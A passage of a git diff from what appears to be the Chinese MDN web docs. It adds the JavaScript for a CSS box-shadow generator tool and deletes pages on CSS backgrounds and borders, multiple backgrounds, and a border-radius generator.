+			setMouseTracking(hue_area, updateHue);
+			setMouseTracking(alpha_area, updateAlpha);
+
+		}
+
+		return {
+			init : init,
+			setColor : setColor,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/*
+	 * Element Class
+	 */
+	var CssClass = function CssClass(id) {
+		this.left = 0;
+		this.top = 0;
+		this.rotate = 0;
+		this.width = 300;
+		this.height = 100;
+		this.display = true;
+		this.border = true;
+		this.zIndex = -1;
+		this.bgcolor = new Color();
+		this.id = id;
+		this.node = getElemById('obj-' + id);
+		this.object = getElemById(id);
+		this.shadowID = null;
+		this.shadows = []
+		this.render = [];
+		this.init();
+	}
+
+	CssClass.prototype.init = function init() {
+		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+		this.setTop(this.top);
+		this.setLeft(this.left);
+		this.setHeight(this.height);
+		this.setWidth(this.width);
+		this.bgcolor.setHSV(0, 0, 100);
+		this.updateBgColor(this.bgcolor);
+	}
+
+	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+		this.left += deltaX;
+		this.top += deltaY;
+		this.node.style.top = this.top + "px";
+		this.node.style.left = this.left + "px";
+		SliderManager.setValue("left", this.left);
+		SliderManager.setValue("top", this.top);
+	}
+
+	CssClass.prototype.setLeft = function setLeft(value) {
+		this.left = value;
+		this.node.style.left = this.left + "px";
+		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+	}
+
+	CssClass.prototype.setTop = function setTop(value) {
+		this.top = value;
+		this.node.style.top = this.top + 'px';
+		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+	}
+
+	CssClass.prototype.setWidth = function setWidth(value) {
+		this.width = value;
+		this.node.style.width = this.width + 'px';
+		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+	}
+
+	CssClass.prototype.setHeight = function setHeight(value) {
+		this.height = value;
+		this.node.style.height = this.height + 'px';
+		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+	}
+
+	// Browser support
+	CssClass.prototype.setRotate = function setRotate(value) {
+		var cssvalue = 'rotate(' + value +'deg)';
+
+		this.node.style.transform = cssvalue;
+		this.node.style.webkitTransform = cssvalue;
+		this.node.style.msTransform = cssvalue;
+
+		if (value !== 0) {
+			if (this.rotate === 0) {
+				OutputManager.toggleProperty(this.id, 'transform', true);
+				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+				OutputManager.toggleProperty(this.id, '-ms-transform', true);
+			}
+		}
+		else {
+			OutputManager.toggleProperty(this.id, 'transform', false);
+			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+			OutputManager.toggleProperty(this.id, '-ms-transform', false);
+		}
+
+		OutputManager.updateProperty(this.id, 'transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+		this.rotate = value;
+	}
+
+	CssClass.prototype.setzIndex = function setzIndex(value) {
+		this.node.style.zIndex = value;
+		OutputManager.updateProperty(this.id, 'z-index', value);
+		this.zIndex = value;
+	}
+
+	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+		if (typeof value !== "boolean" || this.display === value)
+			return;
+
+		this.display = value;
+		var display = this.display === true ? "block" : "none";
+		this.node.style.display = display;
+		this.object.style.display = display;
+	}
+
+	CssClass.prototype.toggleBorder = function toggleBorder(value) {
+		if (typeof value !== "boolean" || this.border === value)
+			return;
+
+		this.border = value;
+		var border = this.border === true ? "1px solid #CCC" : "none";
+		this.node.style.border = border;
+	}
+
+	CssClass.prototype.updateBgColor = function updateBgColor(color) {
+		this.bgcolor.copy(color);
+		this.node.style.backgroundColor = color.getColor();
+		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+	}
+
+	CssClass.prototype.updateShadows = function updateShadows() {
+		if (this.render.length === 0)
+			OutputManager.toggleProperty(this.id, 'box-shadow', false);
+		if (this.render.length === 1)
+			OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+		this.node.style.boxShadow = this.render.join(", ");
+		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+
+		var preview;
+		var classes = [];
+		var active = null;
+		var animate = false;
+
+		/*
+		 * Toll actions
+		 */
+		var addCssClass = function addCssClass(id) {
+			classes[id] = new CssClass(id);
+		}
+
+		var setActiveClass = function setActiveClass(id) {
+			active = classes[id];
+			active.shadowID = null;
+			ColoPicker.setColor(classes[id].bgcolor);
+			SliderManager.setValue("top", active.top);
+			SliderManager.setValue("left", active.left);
+			SliderManager.setValue("rotate", active.rotate);
+			SliderManager.setValue("z-index", active.zIndex);
+			SliderManager.setValue("width", active.width);
+			SliderManager.setValue("height", active.height);
+			ButtonManager.setValue("border-state", active.border);
+			active.updateShadows();
+		}
+
+		var disableClass = function disableClass(topic) {
+			classes[topic].toggleDisplay(false);
+			ButtonManager.setValue(topic, false);
+		}
+
+		var addShadow = function addShadow(position) {
+			if (animate === true)
+				return -1;
+
+			active.shadows.splice(position, 0, new Shadow());
+			active.render.splice(position, 0, null);
+		}
+
+		var swapShadow = function swapShadow(id1, id2) {
+			var x = active.shadows[id1];
+			active.shadows[id1] = active.shadows[id2];
+			active.shadows[id2] = x;
+			updateShadowCSS(id1);
+			updateShadowCSS(id2);
+		}
+
+		var deleteShadow = function deleteShadow(position) {
+			active.shadows.splice(position, 1);
+			active.render.splice(position, 1);
+			active.updateShadows();
+		}
+
+		var setActiveShadow = function setActiveShadow(id, glow) {
+			active.shadowID = id;
+			ColoPicker.setColor(active.shadows[id].color);
+			ButtonManager.setValue("inset", active.shadows[id].inset);
+			SliderManager.setValue("blur", active.shadows[id].blur);
+			SliderManager.setValue("spread", active.shadows[id].spread);
+			SliderManager.setValue("posX", active.shadows[id].posX);
+			SliderManager.setValue("posY", active.shadows[id].posY);
+			if (glow === true)
+				addGlowEffect(id);
+		}
+
+		var addGlowEffect = function addGlowEffect(id) {
+			if (animate === true)
+				return;
+
+			animate = true;
+			var store = new Shadow();
+			var shadow = active.shadows[id];
+
+			store.copy(shadow);
+			shadow.color.setRGBA(40, 125, 200, 1);
+			shadow.blur = 10;
+			shadow.spread = 10;
+
+			active.node.style.transition = "box-shadow 0.2s";
+			updateShadowCSS(id);
+
+			setTimeout(function() {
+				shadow.copy(store);
+				updateShadowCSS(id);
+				setTimeout(function() {
+					active.node.style.removeProperty("transition");
+					animate = false;
+				}, 100);
+			}, 200);
+		}
+
+		var updateActivePos = function updateActivePos(deltaX, deltaY) {
+			if (active.shadowID === null)
+				active.updatePos(deltaX, deltaY);
+			else
+				updateShadowPos(deltaX, deltaY);
+		}
+
+		/*
+		 * Shadow properties
+		 */
+		var updateShadowCSS = function updateShadowCSS(id) {
+			active.render[id] = active.shadows[id].computeCSS();
+			active.updateShadows();
+		}
+
+		var toggleShadowInset = function toggleShadowInset(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].toggleInset(value);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+			var shadow = active.shadows[active.shadowID];
+			shadow.posX += deltaX;
+			shadow.posY += deltaY;
+			SliderManager.setValue("posX", shadow.posX);
+			SliderManager.setValue("posY", shadow.posY);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosX = function setShadowPosX(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posX = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosY = function setShadowPosY(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posY = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowBlur = function setShadowBlur(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].blur = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowSpread = function setShadowSpread(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].spread = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowColor = function updateShadowColor(color) {
+			active.shadows[active.shadowID].color.copy(color);
+			updateShadowCSS(active.shadowID);
+		}
+
+		/*
+		 * Element Properties
+		 */
+		var updateColor = function updateColor(color) {
+			if (active.shadowID === null)
+				active.updateBgColor(color);
+			else
+				updateShadowColor(color);
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+
+			ColoPicker.subscribe("color", updateColor);
+			PreviewMouseTracking.subscribe(updateActivePos);
+
+			// Affects shadows
+			ButtonManager.subscribe("inset", toggleShadowInset);
+			SliderManager.subscribe("posX", setShadowPosX);
+			SliderManager.subscribe("posY", setShadowPosY);
+			SliderManager.subscribe("blur", setShadowBlur);
+			SliderManager.subscribe("spread", setShadowSpread);
+
+			// Affects element
+			SliderManager.subscribe("top", function(value){
+				active.setTop(value);
+			});
+			SliderManager.subscribe("left", function(value){
+				active.setLeft(value);
+			});
+			SliderManager.subscribe("rotate", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setRotate(value);
+			});
+
+			SliderManager.subscribe("z-index", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setzIndex(value);
+			});
+
+			SliderManager.subscribe("width", function(value) {
+				active.setWidth(value)
+			});
+
+			SliderManager.subscribe("height", function(value) {
+				active.setHeight(value)
+			});
+
+			// Actions
+			classes['before'].top = -30;
+			classes['before'].left = -30;
+			classes['after'].top = 30;
+			classes['after'].left = 30;
+			classes['before'].toggleDisplay(false);
+			classes['after'].toggleDisplay(false);
+			ButtonManager.setValue('before', false);
+			ButtonManager.setValue('after', false);
+
+			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+			ButtonManager.subscribe("border-state", function(value) {
+				active.toggleBorder(value);
+			});
+
+		}
+
+		return {
+			init 			: init,
+			addShadow		: addShadow,
+			swapShadow		: swapShadow,
+			addCssClass		: addCssClass,
+			disableClass	: disableClass,
+			deleteShadow	: deleteShadow,
+			setActiveClass	: setActiveClass,
+			setActiveShadow : setActiveShadow
+		}
+
+	})();
+
+	/**
+	 * Layer Manager
+	 */
+	var LayerManager = (function LayerManager() {
+		var stacks = [];
+		var active = {
+			node : null,
+			stack : null
+		}
+		var elements = {};
+
+		var mouseEvents = function mouseEvents(e) {
+			var node = e.target;
+			var type = node.getAttribute('data-type');
+
+			if (type === 'subject')
+				setActiveStack(stacks[node.id]);
+
+			if (type === 'disable') {
+				Tool.disableClass(node.parentNode.id);
+				setActiveStack(stacks['element']);
+			}
+
+			if (type === 'add')
+				active.stack.addLayer();
+
+			if (type === 'layer')
+				active.stack.setActiveLayer(node);
+
+			if (type === 'delete')
+				active.stack.deleteLayer(node.parentNode);
+
+			if (type === 'move-up')
+				active.stack.moveLayer(1);
+
+			if (type === 'move-down')
+				active.stack.moveLayer(-1);
+		}
+
+		var setActiveStack = function setActiveStack(stackObj) {
+			active.stack.hide();
+			active.stack = stackObj;
+			active.stack.show();
+		}
+
+		/*
+		 * Stack object
+		 */
+		var Stack = function Stack(subject) {
+			var S = document.createElement('div');
+			var title = document.createElement('div');
+			var stack = document.createElement('div');
+
+			S.className = 'container';
+			stack.className = 'stack';
+			title.className = 'title';
+			title.textContent = subject.getAttribute('data-title');
+			S.appendChild(title);
+			S.appendChild(stack);
+
+			this.id = subject.id;
+			this.container = S;
+			this.stack = stack;
+			this.subject = subject;
+			this.order = [];
+			this.uid = 0;
+			this.count = 0;
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.addLayer = function addLayer() {
+			if (Tool.addShadow(this.layerID) == -1)
+				return;
+
+			var uid = this.getUID();
+			var layer = this.createLayer(uid);
+
+			if (this.layer === null && this.stack.children.length >= 1)
+				this.layer = this.stack.children[0];
+
+			this.stack.insertBefore(layer, this.layer);
+			this.order.splice(this.layerID, 0, uid);
+			this.count++;
+			this.setActiveLayer(layer);
+		}
+
+		Stack.prototype.createLayer = function createLayer(uid) {
+			var layer = document.createElement('div');
+			var del = document.createElement('span');
+
+			layer.className = 'node';
+			layer.setAttribute('data-shid', uid);
+			layer.setAttribute('data-type', 'layer');
+			layer.textContent = 'shadow ' + uid;
+
+			del.className = 'delete';
+			del.setAttribute('data-type', 'delete');
+
+			layer.appendChild(del);
+			return layer;
+		}
+
+		Stack.prototype.getUID = function getUID() {
+			return this.uid++;
+		}
+
+		// SOLVE IE BUG
+		Stack.prototype.moveLayer = function moveLayer(direction) {
+			if (this.count <= 1 || this.layer === null)
+				return;
+			if (direction === -1 && this.layerID === (this.count - 1) )
+				return;
+			if (direction === 1 && this.layerID === 0 )
+				return;
+
+			if (direction === -1) {
+				var before = null;
+				Tool.swapShadow(this.layerID, this.layerID + 1);
+				this.swapOrder(this.layerID, this.layerID + 1);
+				this.layerID += 1;
+
+				if (this.layerID + 1 !== this.count)
+					before = this.stack.children[this.layerID + 1];
+
+				this.stack.insertBefore(this.layer, before);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+
+			if (direction === 1) {
+				Tool.swapShadow(this.layerID, this.layerID - 1);
+				this.swapOrder(this.layerID, this.layerID - 1);
+				this.layerID -= 1;
+				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+		}
+
+		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+			var x = this.order[pos1];
+			this.order[pos1] = this.order[pos2];
+			this.order[pos2] = x;
+		}
+
+		Stack.prototype.deleteLayer = function deleteLayer(node) {
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			var index = this.order.indexOf(shadowID);
+			this.stack.removeChild(this.stack.children[index]);
+			this.order.splice(index, 1);
+			this.count--;
+
+			Tool.deleteShadow(index);
+
+			if (index > this.layerID)
+				return;
+
+			if (index == this.layerID) {
+				if (this.count >= 1) {
+					this.layerID = 0;
+					this.setActiveLayer(this.stack.children[0], true);
+				}
+				else {
+					this.layer = null;
+					this.show();
+				}
+			}
+
+			if (index < this.layerID) {
+				this.layerID--;
+				Tool.setActiveShadow(this.layerID, true);
+			}
+
+		}
+
+		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+			elements.shadow_properties.style.display = 'block';
+			elements.element_properties.style.display = 'none';
+
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = node;
+			this.layer.setAttribute('data-active', 'layer');
+
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			this.layerID = this.order.indexOf(shadowID);
+			Tool.setActiveShadow(this.layerID, true);
+		}
+
+		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.hide = function hide() {
+			this.unsetActiveLayer();
+			this.subject.removeAttribute('data-active');
+			var style = this.container.style;
+			style.left = '100%';
+			style.zIndex = '0';
+		}
+
+		Stack.prototype.show = function show() {
+			elements.shadow_properties.style.display = 'none';
+			elements.element_properties.style.display = 'block';
+
+			if (this.id === 'element') {
+				elements.zIndex.style.display = 'none';
+				elements.transform_rotate.style.display = 'none';
+			}
+			else {
+				elements.zIndex.style.display = 'block';
+				elements.transform_rotate.style.display = 'block';
+			}
+
+			this.subject.setAttribute('data-active', 'subject');
+			var style = this.container.style;
+			style.left = '0';
+			style.zIndex = '10';
+			Tool.setActiveClass(this.id);
+		}
+
+		function init() {
+
+			var elem, size;
+			var layerManager = getElemById("layer_manager");
+			var layerMenu = getElemById("layer_menu");
+			var container = getElemById("stack_container");
+
+			elements.shadow_properties = getElemById('shadow_properties');
+			elements.element_properties = getElemById('element_properties');
+			elements.transform_rotate = getElemById('transform_rotate');
+			elements.zIndex = getElemById('z-index');
+
+			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+			size = elem.length;
+
+			for (var i = 0; i < size; i++) {
+				var S = new Stack(elem[i]);
+				stacks[elem[i].id] = S;
+				container.appendChild(S.container);
+				Tool.addCssClass(elem[i].id);
+			}
+
+			active.stack = stacks['element'];
+			stacks['element'].show();
+
+			layerManager.addEventListener("click", mouseEvents);
+			layerMenu.addEventListener("click", mouseEvents);
+
+			ButtonManager.subscribe("before", function(value) {
+				if (value === false && active.stack === stacks['before'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['before'])
+					setActiveStack(stacks['before'])
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				if (value === false && active.stack === stacks['after'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['after'])
+					setActiveStack(stacks['after'])
+			});
+		}
+
+		return {
+			init : init
+		}
+	})();
+
+	/*
+	 * OutputManager
+	 */
+	var OutputManager = (function OutputManager() {
+		var classes = [];
+		var buttons = [];
+		var active = null;
+		var menu = null;
+		var button_offset = 0;
+
+		var crateOutputNode = function(topic, property) {
+
+			var prop = document.createElement('div');
+			var name = document.createElement('span');
+			var value = document.createElement('span');
+
+			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+			name.textContent = '\t' + pmatch[4];
+
+			if (pmatch[3] !== undefined) {
+				name.textContent = '\t' + pmatch[2];
+				value.textContent = pmatch[3] + ';';
+			}
+
+			name.textContent += ': ';
+			prop.className = 'css-property';
+			name.className = 'name';
+			value.className = 'value';
+			prop.appendChild(name);
+			prop.appendChild(value);
+
+			classes[topic].node.appendChild(prop);
+			classes[topic].line[property] = prop;
+			classes[topic].prop[property] = value;
+		}
+
+		var OutputClass = function OutputClass(node) {
+			var topic = node.getAttribute('data-topic');
+			var prop = node.getAttribute('data-prop');
+			var name = node.getAttribute('data-name');
+			var properties = prop.split(' ');
+
+			classes[topic] = {};
+			classes[topic].node = node;
+			classes[topic].prop = [];
+			classes[topic].line = [];
+			classes[topic].button = new Button(topic);
+
+			var open_decl = document.createElement('div');
+			var end_decl = document.createElement('div');
+
+			open_decl.textContent = name + ' {';
+			end_decl.textContent = '}';
+			node.appendChild(open_decl);
+
+			for (var i in properties)
+				crateOutputNode(topic, properties[i]);
+
+			node.appendChild(end_decl);
+		}
+
+		var Button = function Button(topic) {
+			var button = document.createElement('div');
+
+			button.className = 'button';
+			button.textContent = topic;
+			button.style.left = button_offset + 'px';
+			button_offset += 100;
+
+			button.addEventListener("click", function() {
+				toggleDisplay(topic);
+			})
+
+			menu.appendChild(button);
+			return button;
+		}
+
+		var toggleDisplay = function toggleDisplay(topic) {
+			active.button.removeAttribute('data-active');
+			active.node.style.display = 'none';
+			active = classes[topic];
+			active.node.style.display = 'block';
+			active.button.setAttribute('data-active', 'true');
+		}
+
+		var toggleButton = function toggleButton(topic, value) {
+			var display = (value === true) ? 'block' : 'none';
+			classes[topic].button.style.display = display;
+
+			if (value === true)
+				toggleDisplay(topic);
+			else
+				toggleDisplay('element');
+		}
+
+		var updateProperty = function updateProperty(topic, property, data) {
+			try {
+				classes[topic].prop[property].textContent = data + ';';
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ", topic, property, data);
+			}
+		}
+
+		var toggleProperty = function toggleProperty(topic, property, value) {
+			var display = (value === true) ? 'block' : 'none';
+			try {
+				classes[topic].line[property].style.display = display;
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ",classes, topic, property, value);
+			}
+		}
+
+		var init = function init() {
+
+			menu = getElemById('menu');
+
+			var elem = document.querySelectorAll('#output .output');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				OutputClass(elem[i]);
+
+			active = classes['element'];
+			toggleDisplay('element');
+
+			ButtonManager.subscribe("before", function(value) {
+				toggleButton('before', value);
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				toggleButton('after', value);
+			});
+		}
+
+		return {
+			init : init,
+			updateProperty : updateProperty,
+			toggleProperty : toggleProperty
+		}
+
+	})();
+
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		OutputManager.init();
+		ColoPicker.init();
+		SliderManager.init();
+		LayerManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +
{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}
+ +

Related Tool: Box Shadow CSS Generator

diff --git a/files/zh-cn/web/css/css_background_and_borders/index.html b/files/zh-cn/web/css/css_background_and_borders/index.html deleted file mode 100644 index 96d540eedd..0000000000 --- a/files/zh-cn/web/css/css_background_and_borders/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: CSS Background and Borders -slug: Web/CSS/CSS_Background_and_Borders -tags: - - CSS - - CSS Backgrounds and Borders - - CSS Reference - - NeedsTranslation - - Overview - - TopicStub -translation_of: Web/CSS/CSS_Backgrounds_and_Borders -translation_of_original: Web/CSS/CSS_Background_and_Borders ---- -

{{CSSRef}}

- -

CSS 背景与边框 是 CSS中描述元素背景与边框的组件。边框的实现方式包含直线、图片。盒模型可以具有单个或多个背景、圆角以及阴影。

- -

参考

- -

CSS 属性

- -
-
    -
  • {{cssxref("background")}}
  • -
  • {{cssxref("background-attachment")}}
  • -
  • {{cssxref("background-clip")}}
  • -
  • {{cssxref("background-color")}}
  • -
  • {{cssxref("background-image")}}
  • -
  • {{cssxref("background-origin")}}
  • -
  • {{cssxref("background-position")}}
  • -
  • {{cssxref("background-repeat")}}
  • -
  • {{cssxref("background-size")}}
  • -
  • {{cssxref("box-shadow")}}
  • -
  • {{cssxref("border")}}
  • -
  • {{cssxref("border-bottom")}}
  • -
  • {{cssxref("border-bottom-color")}}
  • -
  • {{cssxref("border-bottom-left-radius")}}
  • -
  • {{cssxref("border-bottom-right-radius")}}
  • -
  • {{cssxref("border-bottom-style")}}
  • -
  • {{cssxref("border-bottom-width")}}
  • -
  • {{cssxref("border-collapse")}}
  • -
  • {{cssxref("border-color")}}
  • -
  • {{cssxref("border-image")}}
  • -
  • {{cssxref("border-image-outset")}}
  • -
  • {{cssxref("border-image-repeat")}}
  • -
  • {{cssxref("border-image-slice")}}
  • -
  • {{cssxref("border-image-source")}}
  • -
  • {{cssxref("border-image-width")}}
  • -
  • {{cssxref("border-left")}}
  • -
  • {{cssxref("border-left-color")}}
  • -
  • {{cssxref("border-left-style")}}
  • -
  • {{cssxref("border-left-width")}}
  • -
  • {{cssxref("border-radius")}}
  • -
  • {{cssxref("border-right")}}
  • -
  • {{cssxref("border-right-color")}}
  • -
  • {{cssxref("border-right-style")}}
  • -
  • {{cssxref("border-right-width")}}
  • -
  • {{cssxref("border-style")}}
  • -
  • {{cssxref("border-top")}}
  • -
  • {{cssxref("border-top-color")}}
  • -
  • {{cssxref("border-top-left-radius")}}
  • -
  • {{cssxref("border-top-right-radius")}}
  • -
  • {{cssxref("border-top-style")}}
  • -
  • {{cssxref("border-top-width")}}
  • -
  • {{cssxref("border-width")}}
  • -
-
- -

导航

- -
-
应用CSS多重背景
-
阐述设置元素背景方法以及背景、元素之间的交互方式
-
缩放背景图片
-
阐述如何通过拉伸、重复使背景图片覆盖或不全部覆盖元素的背景区域,更改背景图片的呈现方式。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds') }}{{ Spec2('CSS3 Backgrounds') }} 
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}} 
- -

浏览器支持

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}1.0
-
diff --git a/files/zh-cn/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html b/files/zh-cn/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html deleted file mode 100644 index 66cd1921d5..0000000000 --- a/files/zh-cn/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: 使用CSS的多背景 -slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds -tags: - - CSS - - CSS Background - - Example - - Guide - - Intermediate -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -translation_of_original: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds ---- -

{{CSSRef}}

- -

通过使用 CSS3,你可以向元素应用多个背景。这些背景相互堆叠,第一个背景放在最上面,最后一个背景放在最下面。 仅最后一个背景允许拥有背景色。

- -

指定多个背景很简单:

- -
.myclass {
-  background: background1, background 2, ..., backgroundN;
-}
-
- -

你既可以使用简写属性 {{ cssxref("background") }} 来设置多个背景,也可以使用除 {{ cssxref("background-color") }} 外的独立属性来设置多个背景。即下面的属性可以用属性列表来设置每一个背景: {{ cssxref("background") }},{{ cssxref("background-attachment") }},{{ cssxref("background-clip") }}, {{ cssxref("background-image") }},{{ cssxref("background-origin") }},{{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}。

- -

示例

- -

该例中,三个背景进行堆叠:火狐标志,一个线性渐变, 和一张带有花的图片:

- -
.multi_bg_example {
-  background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
-        linear-gradient(to right, rgba(255, 255, 255, 0),  rgba(255, 255, 255, 1)),
-        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
-  background-repeat: no-repeat, no-repeat, repeat;
-  background-position: bottom right, left, right;
-}
-
- - - - - - - - - - -
结果
css_multibg.png
- -

如你所见,火狐标志(列表第一项)在最上面,紧接着是放在图片上面的线性渐变。每个子属性 ({{ cssxref("background-repeat") }} 和 {{ cssxref("background-position") }}) 应用于对应的背景。因此属性 {{ cssxref("background-repeat") }} 的第一个值应用于第一个(最前面)的背景,依次可推。

- -

其它

- - - -
 
- -
 
diff --git "a/files/zh-cn/web/css/css_background_and_borders/\345\234\206\350\247\222\350\276\271\346\241\206\345\217\221\347\224\237\345\231\250/index.html" "b/files/zh-cn/web/css/css_background_and_borders/\345\234\206\350\247\222\350\276\271\346\241\206\345\217\221\347\224\237\345\231\250/index.html" deleted file mode 100644 index b9f50d5332..0000000000 --- "a/files/zh-cn/web/css/css_background_and_borders/\345\234\206\350\247\222\350\276\271\346\241\206\345\217\221\347\224\237\345\231\250/index.html" +++ /dev/null @@ -1,1599 +0,0 @@ ---- -title: 圆角边框生成器 -slug: Web/CSS/CSS_Background_and_Borders/圆角边框发生器 -translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator ---- -

使用Border-radius generator生成 CSS3 {{cssxref("border-radius")}} 样式

- -
-

border-radius

- -

HTML Content

- -
<div id="container">
-    <div class="group section">
-        <div id="preview" class="col span_12">
-            <div id="subject">
-                <div id="top-left" class="radius-container"
-                    data-X="left" data-Y="top">
-                </div>
-                <div id="top-right" class="radius-container"
-                    data-X="right" data-Y="top">
-                </div>
-                <div id="bottom-right" class="radius-container"
-                    data-X="right" data-Y="bottom">
-                </div>
-                <div id="bottom-left" class="radius-container"
-                    data-X="left" data-Y="bottom">
-                </div>
-
-                <div id="radius-ui-sliders">
-                    <div id="tlr" class="ui-input-slider" data-topic="top-left"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="tlw" class="ui-input-slider" data-topic="top-left-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="tlh" class="ui-input-slider" data-topic="top-left-h"
-                        data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="trr" class="ui-input-slider" data-topic="top-right"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="trw" class="ui-input-slider" data-topic="top-right-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="trh" class="ui-input-slider" data-topic="top-right-h"
-                        data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="brr" class="ui-input-slider" data-topic="bottom-right"
